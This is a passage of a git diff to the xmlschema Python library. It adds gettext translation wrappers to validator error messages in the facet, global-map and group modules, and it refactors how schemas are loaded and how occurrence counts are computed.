elem.attrib['value'] self.value, errors = cast(LaxDecodeType, self.base_type.decode(value, 'lax')) for e in errors: - self.parse_error("invalid restriction: {}".format(e.reason)) + self.parse_error(_("invalid restriction: {}").format(e.reason)) def __call__(self, value: Any) -> None: try: if value < self.value: - reason = "value has to be greater or equal than {!r}".format(self.value) + reason = _("value has to be greater or equal than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: raise XMLSchemaValidationError(self, value, str(err)) from None @@ -300,16 +307,17 @@ def _parse_value(self, elem: ElementType) -> None: self.value, errors = cast(LaxDecodeType, self.base_type.decode(value, 'lax')) for e in errors: if not isinstance(e.validator, self.__class__) or e.validator.value != self.value: - self.parse_error("invalid restriction: {}".format(e.reason)) + self.parse_error(_("invalid restriction: {}").format(e.reason)) facet: Any = self.base_type.get_facet(XSD_MAX_INCLUSIVE) if facet is not None and facet.value == self.value: - self.parse_error("invalid restriction: {} is also the maximum".format(self.value)) + msg = _("invalid restriction: {} is also the maximum") + self.parse_error(msg.format(self.value)) def __call__(self, value: Any) -> None: try: if value <= self.value: - reason = "value has to be greater than {!r}".format(self.value) + reason = _("value has to be greater than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: raise XMLSchemaValidationError(self, value, str(err)) from None @@ -334,12 +342,12 @@ def _parse_value(self, elem: ElementType) -> None: value = elem.attrib['value'] self.value, errors = cast(LaxDecodeType, self.base_type.decode(value, 'lax')) for e in errors: - self.parse_error("invalid restriction: {}".format(e.reason)) + self.parse_error(_("invalid restriction: {}").format(e.reason)) def __call__(self, value: Any) -> None: try: if value > self.value: - reason = "value has to be lesser or equal than {!r}".format(self.value) + reason = _("value has to be less than or equal than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: raise XMLSchemaValidationError(self, value, str(err)) from None @@ -365,16 +373,17 @@ def _parse_value(self, elem: ElementType) -> None: self.value, errors = cast(LaxDecodeType, self.base_type.decode(value, 'lax')) for e in errors: if not isinstance(e.validator, self.__class__) or e.validator.value != self.value: - self.parse_error("invalid restriction: {}".format(e.reason)) + self.parse_error(_("invalid restriction: {}").format(e.reason)) facet: Any = self.base_type.get_facet(XSD_MIN_INCLUSIVE) if facet is not None and facet.value == self.value: - self.parse_error("invalid restriction: {} is also the minimum".format(self.value)) + msg = _("invalid restriction: {} is also the minimum") + self.parse_error(msg.format(self.value)) def __call__(self, value: Any) -> None: try: if value >= self.value: - reason = "value has to be lesser than {!r}".format(self.value) + reason = _("value has to be lesser than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) except TypeError as err: raise XMLSchemaValidationError(self, value, str(err)) from None @@ -409,9 +418,8 @@ def _parse_value(self, elem: ElementType) -> None: facet: Any = self.base_type.get_facet(XSD_TOTAL_DIGITS) if facet is not None and facet.value < self.value: - self.parse_error( - "invalid restriction: base value is lower ({})".format(facet.value) - ) + msg = _("invalid restriction: base value is lower ({})") + self.parse_error(msg.format(facet.value)) def __call__(self, value: Any) -> None: try: @@ -420,8 +428,8 @@ def __call__(self, value: Any) -> None: except (TypeError, ValueError, ArithmeticError) as err: raise XMLSchemaValidationError(self, value, str(err)) from None else: - reason = "the number of digits has to be lesser or equal " \ - "than {!r}".format(self.value) + reason = _("the number of digits has to be lesser or equal " + "than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) @@ -446,11 +454,10 @@ def __init__(self, elem: ElementType, parent: 'XsdAtomicRestriction', base_type: BaseXsdType) -> None: - super(XsdFractionDigitsFacet, self).__init__(elem, schema, parent, base_type) + super().__init__(elem, schema, parent, base_type) if not base_type.is_derived(self.maps.types[XSD_DECIMAL]): - self.parse_error( - "fractionDigits facet can be applied only to types derived from xs:decimal" - ) + msg = _("fractionDigits facet can be applied only to types derived from xs:decimal") + self.parse_error(msg) def _parse_value(self, elem: ElementType) -> None: # Errors are detected by meta-schema validation. For schemas with @@ -463,14 +470,13 @@ def _parse_value(self, elem: ElementType) -> None: if self.value < 0: self.value = 9999 elif self.value > 0 and self.base_type.is_derived(self.maps.types[XSD_INTEGER]): - raise ValueError("fractionDigits facet value has to be 0 " - "for types derived from xs:integer.") + msg = _("fractionDigits facet value must be 0 for types derived from xs:integer") + raise ValueError(msg) facet: Any = self.base_type.get_facet(XSD_FRACTION_DIGITS) if facet is not None and facet.value < self.value: - self.parse_error( - "invalid restriction: base value is lower ({})".format(facet.value) - ) + msg = _("invalid restriction: base value is lower ({})") + self.parse_error(msg.format(facet.value)) def __call__(self, value: Any) -> None: try: @@ -479,8 +485,8 @@ def __call__(self, value: Any) -> None: except (TypeError, ValueError, ArithmeticError) as err: raise XMLSchemaValidationError(self, value, str(err)) from None else: - reason = "the number of fraction digits has to be lesser " \ - "or equal than {!r}".format(self.value) + reason = _("the number of fraction digits has to be lesser " + "or equal than {!r}").format(self.value) raise XMLSchemaValidationError(self, value, reason) @@ -503,27 +509,26 @@ class XsdExplicitTimezoneFacet(XsdFacet): def _parse_value(self, elem: ElementType) -> None: self.value = elem.attrib['value'] if self.value == 'prohibited': - self._validator = self._prohibited_timezone_validator # type: ignore[assignment] + self._validator = self.prohibited_timezone_validator elif self.value == 'required': - self._validator = self._required_timezone_validator # type: ignore[assignment] + self._validator = self.required_timezone_validator elif self.value != 'optional': self.value = 'optional' # Error already detected by meta-schema validation facet: Any = self.base_type.get_facet(XSD_EXPLICIT_TIMEZONE) if facet is not None and facet.value != self.value and facet.value != 'optional': - self.parse_error("invalid restriction from {!r}".format(facet.value)) + msg = _("invalid restriction from {!r}") + self.parse_error(msg.format(facet.value)) - def _required_timezone_validator(self, value: Any) -> None: + def required_timezone_validator(self, value: Any) -> None: if value.tzinfo is None: - raise XMLSchemaValidationError( - self, value, "time zone required for value {!r}".format(self.value) - ) + reason = _("time zone required for value {!r}").format(self.value) + raise XMLSchemaValidationError(self, value, reason) - def _prohibited_timezone_validator(self, value: Any) -> None: + def prohibited_timezone_validator(self, value: Any) -> None: if value.tzinfo is not None: - raise XMLSchemaValidationError( - self, value, "time zone prohibited for value {!r}".format(self.value) - ) + reason = _("time zone prohibited for value {!r}").format(self.value) + raise XMLSchemaValidationError(self, value, reason) class XsdEnumerationFacets(MutableSequence[ElementType], XsdFacet): @@ -566,7 +571,7 @@ def _parse_value(self, elem: ElementType) -> Optional[AtomicValueType]: self.parse_error(err, elem) else: if notation_qname not in self.maps.notations: - msg = "value {!r} must match a notation declaration" + msg = _("value {!r} must match a notation declaration") self.parse_error(msg.format(value), elem) return cast(AtomicValueType, value) return None @@ -624,7 +629,7 @@ def __call__(self, value: Any) -> None: except TypeError: pass - reason = "value must be one of {!r}".format(self.enumeration) + reason = _("value must be one of {!r}").format(self.enumeration) raise XMLSchemaValidationError(self, value, reason) def get_annotation(self, i: int) -> Optional[XsdAnnotation]: @@ -720,7 +725,7 @@ def __repr__(self) -> str: def __call__(self, text: str) -> None: try: if all(pattern.match(text) is None for pattern in self.patterns): - reason = "value doesn't match any pattern of {!r}".format(self.regexps) + reason = _("value doesn't match any pattern of {!r}").format(self.regexps) raise XMLSchemaValidationError(self, text, reason) except TypeError as err: raise XMLSchemaValidationError(self, text, str(err)) from None @@ -742,26 +747,6 @@ def get_annotation(self, i: int) -> Optional[XsdAnnotation]: return None -class XsdAssertionXPathParser(XPath2Parser): - """Parser for XSD 1.1 assertion facets.""" - - -XsdAssertionXPathParser.unregister('last') -XsdAssertionXPathParser.unregister('position') - - -# noinspection PyUnusedLocal -@XsdAssertionXPathParser.method(XsdAssertionXPathParser.function('last', nargs=0)) -def evaluate_last(self, context=None): # type: ignore[no-untyped-def] - raise self.missing_context("context item size is undefined") - - -# noinspection PyUnusedLocal -@XsdAssertionXPathParser.method(XsdAssertionXPathParser.function('position', nargs=0)) -def evaluate_position(self, context=None): # type: ignore[no-untyped-def] - raise self.missing_context("context item position is undefined") - - class XsdAssertionFacet(XsdFacet): """ XSD 1.1 *assertion* facet for simpleType definitions. @@ -775,7 +760,7 @@ class XsdAssertionFacet(XsdFacet): </assertion> """ _ADMITTED_TAGS = {XSD_ASSERTION} - _root = etree_element('root') + _root = ElementNode(elem=Element('root')) def __repr__(self) -> str: return '%s(test=%r)' % (self.__class__.__name__, self.path) @@ -784,7 +769,7 @@ def _parse(self) -> None: try: self.path = self.elem.attrib['test'] except KeyError: - self.parse_error("missing attribute 'test'") + self.parse_error(_("missing attribute 'test'")) self.path = 'true()' try: @@ -797,7 +782,16 @@ def _parse(self) -> None: else: self.xpath_default_namespace = self.schema.xpath_default_namespace - self.parser = XsdAssertionXPathParser( + if self.schema.use_xpath3: + from ..xpath3 import XsdAssertionXPath3Parser + + parser_class: Union[ + Type[XsdAssertionXPathParser], Type[XsdAssertionXPath3Parser] + ] = XsdAssertionXPath3Parser + else: + parser_class = XsdAssertionXPathParser + + self.parser = parser_class( namespaces=self.namespaces, strict=False, variable_types={'value': value}, @@ -810,17 +804,17 @@ def _parse(self) -> None: self.parse_error(err) self.token = self.parser.parse('true()') - def __call__(self, value: AtomicValueType) -> None: + def __call__(self, value: AnyAtomicType) -> None: context = XPathContext(self._root, variables={'value': value}) try: if not self.token.evaluate(context): - reason = "value is not true with test path {!r}".format(self.path) + reason = _("value is not true with test path {!r}").format(self.path) raise XMLSchemaValidationError(self, value, reason) except ElementPathError as err: raise XMLSchemaValidationError(self, value, reason=str(err)) from None -XSD_10_FACETS_BUILDERS = { +XSD_10_FACETS_BUILDERS: Dict[str, Type[XsdFacet]] = { XSD_WHITE_SPACE: XsdWhiteSpaceFacet, XSD_LENGTH: XsdLengthFacet, XSD_MIN_LENGTH: XsdMinLengthFacet, @@ -835,7 +829,7 @@ def __call__(self, value: AtomicValueType) -> None: XSD_PATTERN: XsdPatternFacets } -XSD_11_FACETS_BUILDERS = XSD_10_FACETS_BUILDERS.copy() +XSD_11_FACETS_BUILDERS: Dict[str, Type[XsdFacet]] = XSD_10_FACETS_BUILDERS.copy() XSD_11_FACETS_BUILDERS.update({ XSD_ASSERTION: XsdAssertionFacet, XSD_EXPLICIT_TIMEZONE: XsdExplicitTimezoneFacet diff --git a/xmlschema/validators/global_maps.py b/xmlschema/validators/global_maps.py index cf30367..168bff1 100644 --- a/xmlschema/validators/global_maps.py +++ b/xmlschema/validators/global_maps.py @@ -12,12 +12,11 @@ """ import warnings from collections import Counter -from functools import lru_cache from typing import cast, Any, Callable, Dict, List, Iterable, Iterator, \ - MutableMapping, Optional, Set, Union, Tuple, Type + MutableMapping, Optional, Set, Union, Tuple, Type, TYPE_CHECKING -from ..exceptions import XMLSchemaKeyError, XMLSchemaTypeError, XMLSchemaValueError, \ - XMLSchemaRuntimeError, XMLSchemaWarning +from ..exceptions import XMLSchemaKeyError, XMLSchemaTypeError, \ + XMLSchemaValueError, XMLSchemaWarning from ..names import XSD_NAMESPACE, XSD_REDEFINE, XSD_OVERRIDE, XSD_NOTATION, \ XSD_ANY_TYPE, XSD_SIMPLE_TYPE, XSD_COMPLEX_TYPE, XSD_GROUP, \ XSD_ATTRIBUTE, XSD_ATTRIBUTE_GROUP, XSD_ELEMENT, XSI_TYPE @@ -25,13 +24,19 @@ SchemaGlobalType from ..helpers import get_qname, local_name, get_extended_qname from ..namespaces import NamespaceResourcesMap +from ..translation import gettext as _ + from .exceptions import XMLSchemaNotBuiltError, XMLSchemaModelError, XMLSchemaModelDepthError, \ XMLSchemaParseError from .xsdbase import XsdValidator, XsdComponent from .builtins import xsd_builtin_types_factory +from .models import check_model from . import XsdAttribute, XsdSimpleType, XsdComplexType, XsdElement, XsdAttributeGroup, \ XsdGroup, XsdNotation, XsdIdentity, XsdAssert, XsdUnion, XsdAtomicRestriction +if TYPE_CHECKING: + from .schemas import XMLSchemaBase + # # Defines the load functions for XML Schema structures @@ -72,8 +77,11 @@ def load_xsd_globals(xsd_globals: Dict[str, Any], xsd_globals[qname] = (elem, schema) continue - msg = "global {} with name={!r} is already defined" - schema.parse_error(msg.format(local_name(tag), qname)) + msg = _("global {0} with name={1!r} is already defined") + schema.parse_error( + error=msg.format(local_name(tag), qname), + elem=elem + ) redefined_names = Counter(x[0] for x in redefinitions) for qname, elem, child, schema, redefined_schema in reversed(redefinitions): @@ -85,8 +93,11 @@ def load_xsd_globals(xsd_globals: Dict[str, Any], redefined_schemas: Any redefined_schemas = [x[-1] for x in redefinitions if x[0] == qname] if any(redefined_schemas.count(x) > 1 for x in redefined_schemas): - msg = "multiple redefinition for {} {!r}" - schema.parse_error(msg.format(local_name(child.tag), qname), child) + msg = _("multiple redefinition for {0} {1!r}") + schema.parse_error( + error=msg.format(local_name(child.tag), qname), + elem=child + ) else: redefined_schemas = {x[-1]: x[-2] for x in redefinitions if x[0] == qname} for rs, s in redefined_schemas.items(): @@ -97,8 +108,11 @@ def load_xsd_globals(xsd_globals: Dict[str, Any], break if s is rs: - msg = "circular redefinition for {} {!r}" - schema.parse_error(msg.format(local_name(child.tag), qname), child) + msg = _("circular redefinition for {0} {1!r}") + schema.parse_error( + error=msg.format(local_name(child.tag), qname), + elem=child + ) break if elem.tag == XSD_OVERRIDE: @@ -108,11 +122,11 @@ def load_xsd_globals(xsd_globals: Dict[str, Any], if qname in xsd_globals: xsd_globals[qname] = (child, schema) else: - # Append to a list if it's a redefine + # Append to a list if it's a redefinition try: xsd_globals[qname].append((child, schema)) except KeyError: - schema.parse_error("not a redefinition!", child) + schema.parse_error(_("not a redefinition!"), child) except AttributeError: xsd_globals[qname] = [xsd_globals[qname], (child, schema)] @@ -150,6 +164,7 @@ class XsdGlobals(XsdValidator): missing_locations: List[str] + _loaded_schemas: Set['XMLSchemaBase'] _lookup_function_resolver = { XSD_SIMPLE_TYPE: 'lookup_type', XSD_COMPLEX_TYPE: 'lookup_type', @@ -161,7 +176,7 @@ class XsdGlobals(XsdValidator): } def __init__(self, validator: SchemaType, validation: str = 'strict') -> None: - super(XsdGlobals, self).__init__(validation) + super().__init__(validation) self.validator = validator self.namespaces = NamespaceResourcesMap() # Registered schemas by namespace URI @@ -188,6 +203,7 @@ def __init__(self, validator: SchemaType, validation: str = 'strict') -> None: XSD_GROUP: validator.xsd_group_class, XSD_ELEMENT: validator.xsd_element_class, } + self._loaded_schemas = set() def __repr__(self) -> str: return '%s(validator=%r, validation=%r)' % ( @@ -196,10 +212,15 @@ def __repr__(self) -> str: def copy(self, validator: Optional[SchemaType] = None, validation: Optional[str] = None) -> 'XsdGlobals': - """Makes a copy of the object.""" - obj = self.__class__(self.validator if validator is None else validator, - validation or self.validation) - + """ + Creates a shallow copy of the object. The associated schemas do not change + the original global maps. This is useful for sharing the same meta-schema + without copying the full tree objects, saving time and memory. + """ + obj = self.__class__( + validator=self.validator if validator is None else validator, + validation=validation or self.validation + ) obj.namespaces.update(self.namespaces) obj.types.update(self.types) obj.attributes.update(self.attributes) @@ -209,6 +230,7 @@ def copy(self, validator: Optional[SchemaType] = None, obj.elements.update(self.elements) obj.substitution_groups.update(self.substitution_groups) obj.identities.update(self.identities) + obj._loaded_schemas.update(self._loaded_schemas) return obj __copy__ = copy @@ -218,7 +240,7 @@ def lookup(self, tag: str, qname: str) -> SchemaGlobalType: General lookup method for XSD global components. :param tag: the expanded QName of the XSD the global declaration/definition \ - (eg. '{http://www.w3.org/2001/XMLSchema}element'), that is used to select \ + (e.g. '{http://www.w3.org/2001/XMLSchema}element'), that is used to select \ the global map for lookup. :param qname: the expanded QName of the component to be looked-up. :returns: an XSD global component. @@ -229,7 +251,7 @@ def lookup(self, tag: str, qname: str) -> SchemaGlobalType: try: lookup_function = getattr(self, self._lookup_function_resolver[tag]) except KeyError: - msg = "wrong tag {!r} for an XSD global definition/declaration" + msg = _("wrong tag {!r} for an XSD global definition/declaration") raise XMLSchemaValueError(msg.format(tag)) from None else: return lookup_function(qname) @@ -308,7 +330,8 @@ def _build_global(self, obj: Any, qname: str, try: factory_or_class = self._builders[elem.tag] except KeyError: - raise XMLSchemaKeyError("wrong element %r for map %r." % (elem, global_map)) + msg = _("wrong element {0!r} for map {1!r}") + raise XMLSchemaKeyError(msg.format(elem, global_map)) global_map[qname] = obj, # Encapsulate into a tuple to catch circular builds global_map[qname] = factory_or_class(elem, schema) @@ -324,15 +347,16 @@ def _build_global(self, obj: Any, qname: str, try: factory_or_class = self._builders[elem.tag] except KeyError: - raise XMLSchemaKeyError("wrong element %r for map %r." % (elem, global_map)) + msg = _("wrong element {0!r} for map {1!r}") + raise XMLSchemaKeyError(msg.format(elem, global_map)) global_map[qname] = obj[0], # To catch circular builds global_map[qname] = component = factory_or_class(elem, schema) - # Apply redefinitions (changing elem involve a re-parsing of the component) + # Apply redefinitions (changing elem involve reparse of the component) for elem, schema in obj[1:]: if component.schema.target_namespace != schema.target_namespace: - msg = "redefined schema {!r} has a different targetNamespace" + msg = _("redefined schema {!r} has a different targetNamespace") raise XMLSchemaValueError(msg.format(schema)) component.redefine = component.copy() @@ -343,7 +367,8 @@ def _build_global(self, obj: Any, qname: str, return global_map[qname] else: - raise XMLSchemaTypeError(f"unexpected instance {obj} in global map") + msg = _("unexpected instance {!r} in global map") + raise XMLSchemaTypeError(msg.format(obj)) def get_instance_type(self, type_name: str, base_type: BaseXsdType, namespaces: MutableMapping[str, str]) -> BaseXsdType: @@ -374,7 +399,8 @@ def get_instance_type(self, type_name: str, base_type: BaseXsdType, if xsi_type in base_type.member_types: return xsi_type - raise XMLSchemaTypeError("%r cannot substitute %r" % (xsi_type, base_type)) + msg = _("{0!r} cannot substitute {1!r}") + raise XMLSchemaTypeError(msg.format(xsi_type, base_type)) @property def built(self) -> bool: @@ -463,7 +489,6 @@ def register(self, schema: SchemaType) -> None: for obj in ns_schemas): ns_schemas.append(schema) - @lru_cache(maxsize=1000) def load_namespace(self, namespace: str, build: bool = True) -> bool: """ Load namespace from available location hints. Returns `True` if the namespace @@ -493,7 +518,7 @@ def load_namespace(self, namespace: str, build: bool = True) -> bool: if schema.import_schema(namespace, url, schema.base_url) is not None: if build: self.build() - except (OSError, IOError): + except OSError: pass except XMLSchemaNotBuiltError: self.clear(remove_schemas=True, only_unbuilt=True) @@ -509,7 +534,7 @@ def load_namespace(self, namespace: str, build: bool = True) -> bool: if self.validator.import_schema(namespace, url) is not None: if build: self.build() - except (OSError, IOError): + except OSError: return False except XMLSchemaNotBuiltError: self.clear(remove_schemas=True, only_unbuilt=True) @@ -542,6 +567,8 @@ def clear(self, remove_schemas: bool = False, only_unbuilt: bool = False) -> Non if k in self.identities: del self.identities[k] + self._loaded_schemas.difference_update(not_built_schemas) + if remove_schemas: namespaces = NamespaceResourcesMap() for uri, value in self.namespaces.items(): @@ -556,6 +583,7 @@ def clear(self, remove_schemas: bool = False, only_unbuilt: bool = False) -> Non global_map.clear() self.substitution_groups.clear() self.identities.clear() + self._loaded_schemas.clear() if remove_schemas: self.namespaces.clear() @@ -565,11 +593,12 @@ def build(self) -> None: Build the maps of XSD global definitions/declarations. The global maps are updated adding and building the globals of not built registered schemas. """ + meta_schema: Optional['XMLSchemaBase'] try: meta_schema = self.namespaces[XSD_NAMESPACE][0] except KeyError: if self.validator.meta_schema is None: - msg = "missing XSD namespace in meta-schema instance {!r}" + msg = _("missing XSD namespace in meta-schema instance {!r}") raise XMLSchemaValueError(msg.format(self.validator)) meta_schema = None @@ -577,14 +606,7 @@ def build(self) -> None: # XSD namespace not imported or XSD namespace not managed by a meta-schema. # Creates a new meta-schema instance from the XSD meta-schema source and # replaces the default meta-schema instance in all registered schemas. - if self.validator.meta_schema is None: - msg = "missing default meta-schema instance {!r}" - raise XMLSchemaRuntimeError(msg.format(self.validator)) - - url = self.validator.meta_schema.url - base_schemas = {k: v for k, v in self.validator.meta_schema.BASE_SCHEMAS.items() - if k not in self.namespaces} - meta_schema = self.validator.create_meta_schema(url, base_schemas, self) + meta_schema = self.validator.create_meta_schema(global_maps=self) for schema in self.iter_schemas(): if schema.meta_schema is not None: @@ -593,19 +615,21 @@ def build(self) -> None: if not self.types and meta_schema.maps is not self: for source_map, target_map in zip(meta_schema.maps.global_maps, self.global_maps): target_map.update(source_map) + self._loaded_schemas.update(meta_schema.maps._loaded_schemas) - not_built_schemas = [schema for schema in self.iter_schemas() if not schema.built] - for schema in not_built_schemas: + not_loaded_schemas = [s for s in self.iter_schemas() if s not in self._loaded_schemas] + for schema in not_loaded_schemas: schema._root_elements = None + self._loaded_schemas.add(schema) # Load and build global declarations - load_xsd_simple_types(self.types, not_built_schemas) - load_xsd_complex_types(self.types, not_built_schemas) - load_xsd_notations(self.notations, not_built_schemas) - load_xsd_attributes(self.attributes, not_built_schemas) - load_xsd_attribute_groups(self.attribute_groups, not_built_schemas) - load_xsd_elements(self.elements, not_built_schemas) - load_xsd_groups(self.groups, not_built_schemas) + load_xsd_simple_types(self.types, not_loaded_schemas) + load_xsd_complex_types(self.types, not_loaded_schemas) + load_xsd_notations(self.notations, not_loaded_schemas) + load_xsd_attributes(self.attributes, not_loaded_schemas) + load_xsd_attribute_groups(self.attribute_groups, not_loaded_schemas) + load_xsd_elements(self.elements, not_loaded_schemas) + load_xsd_groups(self.groups, not_loaded_schemas) if not meta_schema.built: xsd_builtin_types_factory(meta_schema, self.types) @@ -622,7 +646,7 @@ def build(self) -> None: for qname in self.attribute_groups: self.lookup_attribute_group(qname) - for schema in not_built_schemas: + for schema in not_loaded_schemas: if not isinstance(schema.default_attributes, str): continue @@ -630,11 +654,10 @@ def build(self) -> None: attributes = schema.maps.attribute_groups[schema.default_attributes] except KeyError: schema.default_attributes = None - msg = "defaultAttributes={!r} doesn't match an attribute group of {!r}" + msg = _("defaultAttributes={0!r} doesn't match any attribute group of {1!r}") schema.parse_error( error=msg.format(schema.root.get('defaultAttributes'), schema), - elem=schema.root, - validation=schema.validation + elem=schema.root ) else: schema.default_attributes = cast(XsdAttributeGroup, attributes) @@ -647,16 +670,16 @@ def build(self) -> None: self.lookup_group(qname) # Build element declarations inside model groups. - for schema in not_built_schemas: + for schema in not_loaded_schemas: for group in schema.iter_components(XsdGroup): group.build() # Build identity references and XSD 1.1 assertions - for schema in not_built_schemas: + for schema in not_loaded_schemas: for obj in schema.iter_components((XsdIdentity, XsdAssert)): obj.build() - self.check(filter(lambda x: x.meta_schema is not None, not_built_schemas), self.validation) + self.check(filter(lambda x: x.meta_schema is not None, not_loaded_schemas), self.validation) def check(self, schemas: Optional[Iterable[SchemaType]] = None, validation: str = 'strict') -> None: @@ -673,26 +696,26 @@ def check(self, schemas: Optional[Iterable[SchemaType]] = None, # Checks substitution groups circularity for qname in self.substitution_groups: xsd_element = self.elements[qname] - assert isinstance(xsd_element, XsdElement), "global element not built!" + assert isinstance(xsd_element, XsdElement), _("global element not built!") if any(e is xsd_element for e in xsd_element.iter_substitutes()): - msg = "circularity found for substitution group with head element %r" + msg = _("circularity found for substitution group with head element {}") xsd_element.parse_error(msg.format(xsd_element), validation=validation) if validation == 'strict' and not self.built: raise XMLSchemaNotBuiltError( - self, "global map has unbuilt components: %r" % self.unbuilt + self, _("global map has unbuilt components: %r") % self.unbuilt ) # Check redefined global groups restrictions for group in self.groups.values(): - assert isinstance(group, XsdGroup), "global group not built!" + assert isinstance(group, XsdGroup), _("global group not built!") if group.schema not in _schemas or group.redefine is None: continue while group.redefine is not None: if not any(isinstance(e, XsdGroup) and e.name == group.name for e in group) \ and not group.is_restriction(group.redefine): - msg = "the redefined group is an illegal restriction of the original group" + msg = _("the redefined group is an illegal restriction") group.parse_error(msg, validation=validation) group = group.redefine @@ -708,8 +731,8 @@ def check(self, schemas: Optional[Iterable[SchemaType]] = None, base_type = xsd_type.base_type if base_type and base_type.name != XSD_ANY_TYPE and base_type.is_complex(): if not xsd_type.content.is_restriction(base_type.content): - xsd_type.parse_error("the derived group is an illegal restriction " - "of the base type group", validation=validation) + msg = _("the derived group is an illegal restriction") + xsd_type.parse_error(msg, validation=validation) if base_type.is_complex() and not base_type.open_content and \ xsd_type.open_content and xsd_type.open_content.mode != 'none': @@ -718,15 +741,15 @@ def check(self, schemas: Optional[Iterable[SchemaType]] = None, any_element=xsd_type.open_content.any_element ) if not _group.is_restriction(base_type.content): - msg = "restriction has an open content but base type has not" + msg = _("restriction has an open content but base type has not") _group.parse_error(msg, validation=validation) try: - xsd_type.content.check_model() + check_model(xsd_type.content) except XMLSchemaModelDepthError: - msg = "cannot verify the content model of {!r} " \ - "due to maximum recursion depth exceeded".format(xsd_type) - xsd_type.schema.warnings.append(msg) + msg = _("can't verify the content model of {!r} " + "due to exceeding of maximum recursion depth") + xsd_type.schema.warnings.append(msg.format(xsd_type)) warnings.warn(msg, XMLSchemaWarning, stacklevel=4) except XMLSchemaModelError as err: if validation == 'strict': diff --git a/xmlschema/validators/groups.py b/xmlschema/validators/groups.py index be5e25b..f96e4ba 100644 --- a/xmlschema/validators/groups.py +++ b/xmlschema/validators/groups.py @@ -12,17 +12,21 @@ """ import warnings from collections.abc import MutableMapping -from typing import TYPE_CHECKING, overload, Any, Iterable, Iterator, List, \ - MutableSequence, Optional, Tuple, Union +from copy import copy as _copy +from typing import TYPE_CHECKING, cast, overload, Any, Iterable, Iterator, \ + List, MutableSequence, Optional, Tuple, Union +from xml.etree import ElementTree from .. import limits from ..exceptions import XMLSchemaValueError from ..names import XSD_GROUP, XSD_SEQUENCE, XSD_ALL, XSD_CHOICE, XSD_ELEMENT, \ XSD_ANY, XSI_TYPE, XSD_ANY_TYPE, XSD_ANNOTATION -from ..etree import etree_element, ElementData from ..aliases import ElementType, NamespacesType, SchemaType, IterDecodeType, \ - IterEncodeType, ModelParticleType, SchemaElementType, ComponentClassType + IterEncodeType, ModelParticleType, SchemaElementType, ComponentClassType, \ + OccursCounterType +from ..translation import gettext as _ from ..helpers import get_qname, local_name, raw_xml_encode +from ..converters import ElementData from .exceptions import XMLSchemaModelError, XMLSchemaModelDepthError, \ XMLSchemaValidationError, XMLSchemaChildrenValidationError, \ @@ -30,13 +34,14 @@ from .xsdbase import ValidationMixin, XsdComponent, XsdType from .particles import ParticleMixin, OccursCalculator from .elements import XsdElement, XsdAlternative -from .wildcards import XsdAnyElement, Xsd11AnyElement -from .models import ModelVisitor, distinguishable_paths +from .wildcards import XsdAnyElement, Xsd11AnyElement, XsdOpenContent +from .models import ModelVisitor, InterleavedModelVisitor, SuffixedModelVisitor, \ + iter_unordered_content, iter_collapsed_content if TYPE_CHECKING: from .complex_types import XsdComplexType -ANY_ELEMENT = etree_element( +ANY_ELEMENT = ElementTree.Element( XSD_ANY, attrib={ 'namespace': '##any', @@ -91,12 +96,12 @@ class XsdGroup(XsdComponent, MutableSequence[ModelParticleType], parent: Optional[Union['XsdComplexType', 'XsdGroup']] model: str mixed: bool = False - ref: Optional['XsdGroup'] + ref: Optional['XsdGroup'] # Not None if the instance is a ref to a global group + content: List[ModelParticleType] # Direct access to children also from a ref group restriction: Optional['XsdGroup'] = None # For XSD 1.1 openContent processing - interleave: Optional[Xsd11AnyElement] = None # if openContent with mode='interleave' - suffix: Optional[Xsd11AnyElement] = None # if openContent with mode='suffix'/'interleave' + open_content: Optional[XsdOpenContent] = None _ADMITTED_TAGS = {XSD_GROUP, XSD_SEQUENCE, XSD_ALL, XSD_CHOICE} @@ -105,9 +110,11 @@ def __init__(self, elem: ElementType, parent: Optional[Union['XsdComplexType', 'XsdGroup']] = None) -> None: self._group: List[ModelParticleType] = [] + self.content = self._group + self.oid = (self,) if parent is not None and parent.mixed: self.mixed = parent.mixed - super(XsdGroup, self).__init__(elem, schema, parent) + super().__init__(elem, schema, parent) def __repr__(self) -> str: if self.name is None: @@ -189,17 +196,35 @@ def is_pointless(self, parent: 'XsdGroup') -> bool: else: return True + @property + def open_content_mode(self) -> str: + return 'none' if self.open_content is None else self.open_content.mode + @property def effective_min_occurs(self) -> int: if not self.min_occurs or not self: return 0 + + effective_items: List[Any] + min_occurs: int + effective_items = [e for e in self.iter_model() if e.effective_max_occurs != 0] + if not effective_items: + return 0 elif self.model == 'choice': - if any(not e.effective_min_occurs for e in self.iter_model()): - return 0 - else: - if all(not e.effective_min_occurs for e in self.iter_model()): - return 0 - return self.min_occurs + min_occurs = min(e.effective_min_occurs for e in effective_items) + return self.min_occurs * min_occurs + elif self.model == 'all': + min_occurs = max(e.effective_min_occurs for e in effective_items) + return min_occurs + + not_emptiable_items = [e for e in effective_items if e.effective_min_occurs] + if not not_emptiable_items: + return 0 + elif len(not_emptiable_items) > 1: + return self.min_occurs + + min_occurs = not_emptiable_items[0].effective_min_occurs + return self.min_occurs * min_occurs @property def effective_max_occurs(self) -> Optional[int]: @@ -207,35 +232,41 @@ def effective_max_occurs(self) -> Optional[int]: return 0 effective_items: List[Any] - value: int + max_occurs: int - effective_items = [e for e in self.iter_model() if e.effective_max_occurs != 0] + model_items = [(e, e.effective_max_occurs) for e in self.iter_model()] + effective_items = [x for x in model_items if x[1] != 0] if not effective_items: return 0 elif self.max_occurs is None: return None elif self.model == 'choice': - try: - value = max(e.effective_max_occurs for e in effective_items) - except TypeError: + if any(x[1] is None for x in effective_items): return None else: - return self.max_occurs * value + max_occurs = max(x[1] for x in effective_items) + return self.max_occurs * max_occurs - not_emptiable_items = [e for e in effective_items if e.effective_min_occurs] + not_emptiable_items = [x for x in effective_items if x[0].effective_min_occurs] if not not_emptiable_items: - try: - value = max(e.effective_max_occurs for e in effective_items) - except TypeError: + if any(x[1] is None for x in effective_items): return None else: - return self.max_occurs * value + max_occurs = max(x[1] for x in effective_items) + return self.max_occurs * max_occurs elif len(not_emptiable_items) > 1: - return self.max_occurs - - value = not_emptiable_items[0].effective_max_occurs - return None if value is None else self.max_occurs * value + if self.model == 'sequence': + return self.max_occurs + elif all(x[1] is None for x in not_emptiable_items): + return None + else: + max_occurs = min(x[1] for x in not_emptiable_items if x[1] is not 